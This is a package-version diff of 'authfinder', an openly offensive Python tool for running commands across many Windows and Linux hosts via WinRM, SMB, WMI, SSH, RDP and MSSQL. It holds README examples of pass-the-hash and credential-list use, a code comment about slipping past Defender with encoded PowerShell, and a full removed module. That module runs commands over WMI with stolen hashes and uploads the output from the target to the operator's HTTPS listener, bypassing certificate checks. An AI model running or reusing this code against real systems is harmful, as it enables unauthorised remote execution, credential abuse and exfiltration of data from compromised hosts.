authfinder 1.2.0__tar.gz → 1.2.2__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: authfinder
3
- Version: 1.2.0
3
+ Version: 1.2.2
4
4
  Summary: Execute commands across Windows and Linux systems using multiple RCE methods (WinRM, SMB, WMI, RDP, SSH, MSSQL)
5
5
  Author: Khael
6
6
  Project-URL: Homepage, https://github.com/KhaelK138/authfinder
@@ -21,6 +21,7 @@ Classifier: Topic :: System :: Systems Administration
21
21
  Requires-Python: >=3.8
22
22
  Description-Content-Type: text/markdown
23
23
  License-File: LICENSE
24
+ Requires-Dist: impacket
24
25
  Provides-Extra: dev
25
26
  Requires-Dist: build; extra == "dev"
26
27
  Requires-Dist: twine; extra == "dev"
@@ -44,7 +45,7 @@ Big thanks to NetExec, Impacket, and Evil-Winrm, as this tool just essentially a
44
45
  - SSH (NetExec)
45
46
  - MSSQL (Impacket)
46
47
  - **Multi-threaded**: Execute commands across multiple hosts simultaneously
47
- - **Automatic Pass-the-Hash**: Just paste the NTLM hash as the credential
48
+ - **Pass-the-Hash**: Use `-H` to pass an NTLM hash
48
49
  - **Linux Support**: Use `--linux` to attempt to run commands across linux machines instead, via SSH
49
50
 
50
51
  ## Installation
@@ -80,7 +81,10 @@ authfinder 192.168.1.10 -u administrator -p Password123 -c whoami
80
81
  authfinder 192.168.1.1-50 -u admin -p Pass123 -c 'net user'
81
82
 
82
83
  # Use nthash instead of password
83
- authfinder 10.0.0.1-10 -u admin -p :{32-bit-hash} whoami
84
+ authfinder 10.0.0.1-10 -u admin -H :{32-bit-hash} -c whoami
85
+
86
+ # Pass list of creds
87
+ authfinder 10.0.0.1-10 -f creds.txt -c whoami
84
88
  ```
85
89
 
86
90
  ### IP Range Format
@@ -16,7 +16,7 @@ Big thanks to NetExec, Impacket, and Evil-Winrm, as this tool just essentially a
16
16
  - SSH (NetExec)
17
17
  - MSSQL (Impacket)
18
18
  - **Multi-threaded**: Execute commands across multiple hosts simultaneously
19
- - **Automatic Pass-the-Hash**: Just paste the NTLM hash as the credential
19
+ - **Pass-the-Hash**: Use `-H` to pass an NTLM hash
20
20
  - **Linux Support**: Use `--linux` to attempt to run commands across linux machines instead, via SSH
21
21
 
22
22
  ## Installation
@@ -52,7 +52,10 @@ authfinder 192.168.1.10 -u administrator -p Password123 -c whoami
52
52
  authfinder 192.168.1.1-50 -u admin -p Pass123 -c 'net user'
53
53
 
54
54
  # Use nthash instead of password
55
- authfinder 10.0.0.1-10 -u admin -p :{32-bit-hash} whoami
55
+ authfinder 10.0.0.1-10 -u admin -H :{32-bit-hash} -c whoami
56
+
57
+ # Pass list of creds
58
+ authfinder 10.0.0.1-10 -f creds.txt -c whoami
56
59
  ```
57
60
 
58
61
  ### IP Range Format
@@ -1,3 +1,3 @@
1
1
  """authfinder: Execute commands across Windows and Linux systems using multiple RCE methods"""
2
2
 
3
- __version__ = "1.2.0"
3
+ __version__ = "1.2.2"
@@ -22,7 +22,7 @@ TOOLS_SPECIFIED = False
22
22
  LINUX_MODE = False
23
23
 
24
24
  VALID_TOOLS = ["winrm", "smbexec", "wmi", "ssh", "mssql", "psexec", "atexec", "rdp"]
25
- NXC_TOOLS = {"smbexec", "ssh", "rdp"}
25
+ NXC_TOOLS = {"smbexec", "ssh", "wmi", "rdp"}
26
26
 
27
27
  IMPACKET_PREFIX = "impacket-" # or "" for .py suffix
28
28
  NXC_CMD = "nxc"
@@ -210,13 +210,6 @@ def build_cmd(tool, user, target, credential, command, use_hash=False):
210
210
  return (f"{cmd} -hashes :{hash_val} \"{user}\"@{target} 'powershell -enc {b64}'"
211
211
  if use_hash else
212
212
  f"{cmd} \"{user}\":{credential}@{target} 'powershell -enc {b64}'")
213
-
214
- if tool == "wmi":
215
- # Use wmiexec-ng for WMI execution (uses HTTPS callback for output retrieval)
216
- output_flag = " -o" if OUTPUT else ""
217
- return (f"wmiexec-ng {target} -u \"{user}\" -H {hash_val} -x 'powershell -enc {b64}'{output_flag}"
218
- if use_hash else
219
- f"wmiexec-ng {target} -u \"{user}\" -p {credential} -x 'powershell -enc {b64}'{output_flag}")
220
213
 
221
214
  # winrm handling - both regular and SSL variants
222
215
  # yes I know nxc has a winrm module which can oneshot commands, but evil-winrm has proved itself more dependable
@@ -236,6 +229,13 @@ def build_cmd(tool, user, target, credential, command, use_hash=False):
236
229
  if use_hash else
237
230
  f"{NXC_CMD} smb {target} -p {credential} -u \"{user}\" -X 'powershell -enc {b64}' --exec-method smbexec{nxc_output_flag}")
238
231
 
232
+ if tool == "wmi":
233
+ # we don't actually need to pass the --no-output here, as defender won't catch it with this specific `cmd /c "powershell -enc` combo
234
+ # additionally, adding --no-output makes it very difficult to differentiate between command execution and a successful authentication w/o execution for wmi specifically
235
+ return (f"{NXC_CMD} wmi {target} -H {hash_val} -u \"{user}\" -X 'cmd /c \"powershell -enc {b64}\"'"
236
+ if use_hash else
237
+ f"{NXC_CMD} wmi {target} -p {credential} -u \"{user}\" -X 'cmd /c \"powershell -enc {b64}\"'")
238
+
239
239
  if tool == "ssh":
240
240
  if LINUX_MODE:
241
241
  b64 = base64.b64encode(command.encode("utf-8")).decode()
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: authfinder
3
- Version: 1.2.0
3
+ Version: 1.2.2
4
4
  Summary: Execute commands across Windows and Linux systems using multiple RCE methods (WinRM, SMB, WMI, RDP, SSH, MSSQL)
5
5
  Author: Khael
6
6
  Project-URL: Homepage, https://github.com/KhaelK138/authfinder
@@ -21,6 +21,7 @@ Classifier: Topic :: System :: Systems Administration
21
21
  Requires-Python: >=3.8
22
22
  Description-Content-Type: text/markdown
23
23
  License-File: LICENSE
24
+ Requires-Dist: impacket
24
25
  Provides-Extra: dev
25
26
  Requires-Dist: build; extra == "dev"
26
27
  Requires-Dist: twine; extra == "dev"
@@ -44,7 +45,7 @@ Big thanks to NetExec, Impacket, and Evil-Winrm, as this tool just essentially a
44
45
  - SSH (NetExec)
45
46
  - MSSQL (Impacket)
46
47
  - **Multi-threaded**: Execute commands across multiple hosts simultaneously
47
- - **Automatic Pass-the-Hash**: Just paste the NTLM hash as the credential
48
+ - **Pass-the-Hash**: Use `-H` to pass an NTLM hash
48
49
  - **Linux Support**: Use `--linux` to attempt to run commands across linux machines instead, via SSH
49
50
 
50
51
  ## Installation
@@ -80,7 +81,10 @@ authfinder 192.168.1.10 -u administrator -p Password123 -c whoami
80
81
  authfinder 192.168.1.1-50 -u admin -p Pass123 -c 'net user'
81
82
 
82
83
  # Use nthash instead of password
83
- authfinder 10.0.0.1-10 -u admin -p :{32-bit-hash} whoami
84
+ authfinder 10.0.0.1-10 -u admin -H :{32-bit-hash} -c whoami
85
+
86
+ # Pass list of creds
87
+ authfinder 10.0.0.1-10 -f creds.txt -c whoami
84
88
  ```
85
89
 
86
90
  ### IP Range Format
@@ -3,7 +3,6 @@ README.md
3
3
  pyproject.toml
4
4
  authfinder/__init__.py
5
5
  authfinder/authfinder.py
6
- authfinder/wmiexec_ng.py
7
6
  authfinder.egg-info/PKG-INFO
8
7
  authfinder.egg-info/SOURCES.txt
9
8
  authfinder.egg-info/dependency_links.txt
@@ -1,3 +1,2 @@
1
1
  [console_scripts]
2
2
  authfinder = authfinder.authfinder:main
3
- wmiexec-ng = authfinder.wmiexec_ng:main
@@ -1,3 +1,4 @@
1
+ impacket
1
2
 
2
3
  [dev]
3
4
  build
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
4
4
 
5
5
  [project]
6
6
  name = "authfinder"
7
- version = "1.2.0"
7
+ version = "1.2.2"
8
8
  description = "Execute commands across Windows and Linux systems using multiple RCE methods (WinRM, SMB, WMI, RDP, SSH, MSSQL)"
9
9
  readme = "README.md"
10
10
  authors = [
@@ -25,7 +25,9 @@ classifiers = [
25
25
  ]
26
26
  keywords = ["security", "pentest", "windows", "remote-execution", "winrm", "smb", "wmi", "rdp"]
27
27
  requires-python = ">=3.8"
28
- dependencies = []
28
+ dependencies = [
29
+ "impacket",
30
+ ]
29
31
 
30
32
  [project.optional-dependencies]
31
33
  dev = [
@@ -35,7 +37,6 @@ dev = [
35
37
 
36
38
  [project.scripts]
37
39
  authfinder = "authfinder.authfinder:main"
38
- wmiexec-ng = "authfinder.wmiexec_ng:main"
39
40
 
40
41
  [project.urls]
41
42
  Homepage = "https://github.com/KhaelK138/authfinder"
@@ -1,319 +0,0 @@
1
- #!/usr/bin/env python3
2
- """
3
- WMI process execution with HTTPS-based output retrieval.
4
- Requires: pip install impacket
5
- """
6
-
7
- import sys
8
- import os
9
- import ssl
10
- import uuid
11
- import socket
12
- import random
13
- import argparse
14
- import tempfile
15
- import threading
16
- import subprocess
17
- from http.server import HTTPServer, BaseHTTPRequestHandler
18
- from impacket.dcerpc.v5.dcom import wmi
19
- from impacket.dcerpc.v5.dcomrt import DCOMConnection
20
- from impacket.dcerpc.v5.dtypes import NULL
21
-
22
-
23
- # Globals for server coordination
24
- output_received = threading.Event()
25
- output_data = b""
26
- verbose = False
27
-
28
-
29
- def log(msg: str):
30
- """Print message only if verbose mode is enabled."""
31
- if verbose:
32
- print(msg)
33
-
34
-
35
- def get_local_ip(target: str) -> str:
36
- """Get the local IP address used to reach a target."""
37
- try:
38
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
39
- s.connect((target, 80))
40
- local_ip = s.getsockname()[0]
41
- s.close()
42
- return local_ip
43
- except Exception:
44
- return "127.0.0.1"
45
-
46
-
47
- def find_available_port(start: int = 10000, end: int = 30000) -> int:
48
- """Find an available port in the given range, retrying every second."""
49
- while True:
50
- port = random.randint(start, end)
51
- try:
52
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
53
- s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
54
- s.bind(("0.0.0.0", port))
55
- s.close()
56
- log(f"[*] Found available port: {port}")
57
- return port
58
- except OSError:
59
- log(f"[*] Port {port} unavailable, retrying...")
60
- import time
61
- time.sleep(1)
62
-
63
-
64
- def generate_ssl_cert(cert_file: str, key_file: str):
65
- """Generate a self-signed SSL certificate using openssl."""
66
- log("[*] Generating SSL certificate...")
67
- cmd = [
68
- "openssl", "req", "-x509", "-newkey", "rsa:2048",
69
- "-keyout", key_file,
70
- "-out", cert_file,
71
- "-days", "1", "-nodes",
72
- "-subj", "/CN=localhost"
73
- ]
74
- try:
75
- subprocess.check_call(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
76
- log("[*] SSL certificate generated")
77
- except subprocess.CalledProcessError:
78
- print("[!] Failed to generate SSL certificate (is openssl installed?)")
79
- sys.exit(1)
80
-
81
-
82
- class OutputHandler(BaseHTTPRequestHandler):
83
- """HTTP handler for receiving command output via POST."""
84
-
85
- def do_POST(self):
86
- global output_data
87
- try:
88
- content_length = int(self.headers.get("Content-Length", 0))
89
- output_data = self.rfile.read(content_length)
90
- self.send_response(200)
91
- self.end_headers()
92
- self.wfile.write(b"OK")
93
- output_received.set()
94
- except Exception as e:
95
- log(f"[!] Error receiving output: {e}")
96
- self.send_response(500)
97
- self.end_headers()
98
-
99
- def log_message(self, format, *args):
100
- if verbose:
101
- super().log_message(format, *args)
102
-
103
-
104
- def start_https_server(port: int, cert_file: str, key_file: str) -> HTTPServer:
105
- """Start HTTPS server for receiving output."""
106
- server = HTTPServer(("0.0.0.0", port), OutputHandler)
107
- context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
108
- context.load_cert_chain(cert_file, key_file)
109
- server.socket = context.wrap_socket(server.socket, server_side=True)
110
- return server
111
-
112
-
113
- def build_powershell_command(command: str, output_file: str, server_url: str) -> str:
114
- """Build the PowerShell script that executes command and uploads output."""
115
- import base64
116
-
117
- # Base64 encode the user's command (UTF-16LE for PowerShell -enc)
118
- user_cmd_encoded = base64.b64encode(command.encode("utf-16-le")).decode("ascii")
119
-
120
- # PowerShell script with TLS cert bypass
121
- # Executes user command via -enc, captures output, uploads via HTTPS
122
- ps_script = f'''
123
- [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
124
- Add-Type @"
125
- using System.Net;
126
- using System.Security.Cryptography.X509Certificates;
127
- public class TrustAllCertsPolicy : ICertificatePolicy {{
128
- public bool CheckValidationResult(
129
- ServicePoint srvPoint, X509Certificate certificate,
130
- WebRequest request, int certificateProblem) {{
131
- return true;
132
- }}
133
- }}
134
- "@
135
- [System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
136
-
137
- powershell.exe -enc {user_cmd_encoded} | Out-File -FilePath "{output_file}" -Encoding UTF8
138
- $bytes = [System.IO.File]::ReadAllBytes("{output_file}")
139
- Invoke-WebRequest -Uri "{server_url}" -Method POST -Body $bytes -UseBasicParsing | Out-Null
140
- Remove-Item -Path "{output_file}" -Force
141
- '''
142
- # Encode wrapper script as base64 for safe transport
143
- encoded = base64.b64encode(ps_script.encode("utf-16-le")).decode("ascii")
144
- return f'powershell.exe -EncodedCommand {encoded}'
145
-
146
-
147
- def wmi_exec(target: str, username: str, password: str, command: str,
148
- domain: str = "", hashes: str = "", get_output: bool = False,
149
- timeout: int = 30) -> str | None:
150
- """
151
- Execute a command via WMI.
152
-
153
- Args:
154
- target: Target IP or hostname
155
- username: Username for authentication
156
- password: Password for authentication
157
- command: Command to execute
158
- domain: Domain (optional)
159
- hashes: NTLM hashes in LMHASH:NTHASH format (optional, for pass-the-hash)
160
- get_output: Whether to retrieve command output via HTTPS
161
- timeout: Timeout in seconds for output retrieval
162
-
163
- Returns:
164
- Command output if get_output=True, None otherwise
165
- """
166
- global output_data, output_received
167
-
168
- # Parse hashes if provided
169
- lmhash = ""
170
- nthash = ""
171
- if hashes:
172
- if ":" in hashes:
173
- lmhash, nthash = hashes.split(":", 1)
174
- else:
175
- # Assume it's just the NT hash
176
- nthash = hashes
177
-
178
- # Reset globals
179
- output_data = b""
180
- output_received.clear()
181
-
182
- server = None
183
- server_thread = None
184
- temp_dir = None
185
-
186
- try:
187
- if get_output:
188
- # Setup HTTPS server for output retrieval
189
- temp_dir = tempfile.mkdtemp()
190
- cert_file = os.path.join(temp_dir, "cert.pem")
191
- key_file = os.path.join(temp_dir, "key.pem")
192
-
193
- generate_ssl_cert(cert_file, key_file)
194
-
195
- port = find_available_port()
196
- local_ip = get_local_ip(target)
197
- server_url = f"https://{local_ip}:{port}/"
198
-
199
- log(f"[*] Starting HTTPS server on {local_ip}:{port}")
200
- server = start_https_server(port, cert_file, key_file)
201
-
202
- # Run server in background thread
203
- server_thread = threading.Thread(target=server.handle_request, daemon=True)
204
- server_thread.start()
205
-
206
- # Build PowerShell command with output upload
207
- output_file = f"C:\\Windows\\Temp\\{uuid.uuid4()}.txt"
208
- full_command = build_powershell_command(command, output_file, server_url)
209
- log(f"[*] Output will be uploaded to {server_url}")
210
- else:
211
- full_command = command
212
-
213
- # Connect via DCOM
214
- log(f"[*] Connecting to {target}...")
215
- dcom = DCOMConnection(target, username, password, domain, lmhash, nthash)
216
-
217
- try:
218
- # Get WMI interface
219
- iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
220
- iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
221
-
222
- # Login to namespace
223
- iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
224
- iWbemLevel1Login.RemRelease()
225
-
226
- # Get Win32_Process class
227
- win32_process, _ = iWbemServices.GetObject("Win32_Process")
228
-
229
- # Call Create method
230
- log(f"[*] Executing command...")
231
- win32_process.Create(full_command, "C:\\", None)
232
-
233
- if not get_output:
234
- print(f"[+] Executed: {command}")
235
- return None
236
-
237
- finally:
238
- dcom.disconnect()
239
-
240
- # Wait for output
241
- if get_output:
242
- log(f"[*] Waiting for output (timeout: {timeout}s)...")
243
- if output_received.wait(timeout=timeout):
244
- result = output_data.decode("utf-8", errors="replace")
245
- # Strip BOM and whitespace
246
- result = result.lstrip("\ufeff").strip()
247
- print(result)
248
- return result
249
- else:
250
- print("[!] Timeout waiting for output")
251
- return None
252
-
253
- finally:
254
- # Cleanup
255
- if server:
256
- server.server_close()
257
- if temp_dir:
258
- import shutil
259
- shutil.rmtree(temp_dir, ignore_errors=True)
260
-
261
-
262
- def main():
263
- global verbose
264
-
265
- parser = argparse.ArgumentParser(
266
- description="WMI remote command execution with optional output retrieval",
267
- formatter_class=argparse.RawDescriptionHelpFormatter,
268
- epilog="""
269
- Examples:
270
- # Execute with password
271
- %(prog)s 192.168.1.10 -u Administrator -p 'password' -x 'whoami' -o
272
-
273
- # Pass-the-hash
274
- %(prog)s 192.168.1.10 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -x 'whoami' -o
275
-
276
- # Blank password (if neither -p nor -H supplied)
277
- %(prog)s 192.168.1.10 -u Administrator -x 'whoami' -o
278
-
279
- # With domain
280
- %(prog)s 192.168.1.10 -u Administrator -p 'password' -d MYDOMAIN -x 'whoami' -o
281
- """
282
- )
283
-
284
- parser.add_argument("target", help="Target IP or hostname")
285
- parser.add_argument("-u", "--username", required=True, help="Username")
286
- parser.add_argument("-p", "--password", default="", help="Password")
287
- parser.add_argument("-H", "--hashes", metavar="[LMHASH:]NTHASH",
288
- help="NTLM hashes for pass-the-hash")
289
- parser.add_argument("-d", "--domain", default="", help="Domain")
290
- parser.add_argument("-x", "--execute", required=True, metavar="CMD",
291
- help="Command to execute")
292
- parser.add_argument("-o", "--output", action="store_true",
293
- help="Retrieve command output via HTTPS callback")
294
- parser.add_argument("-t", "--timeout", type=int, default=30,
295
- help="Timeout for output retrieval (default: 30s)")
296
- parser.add_argument("-v", "--verbose", action="store_true",
297
- help="Show verbose output (HTTPS server activity, etc.)")
298
-
299
- args = parser.parse_args()
300
- verbose = args.verbose
301
-
302
- # Use blank password if neither -p nor -H supplied
303
- password = args.password
304
- hashes = args.hashes or ""
305
-
306
- wmi_exec(
307
- target=args.target,
308
- username=args.username,
309
- password=password,
310
- command=args.execute,
311
- domain=args.domain,
312
- hashes=hashes,
313
- get_output=args.output,
314
- timeout=args.timeout
315
- )
316
-
317
-
318
- if __name__ == "__main__":
319
- main()
File without changes
File without changes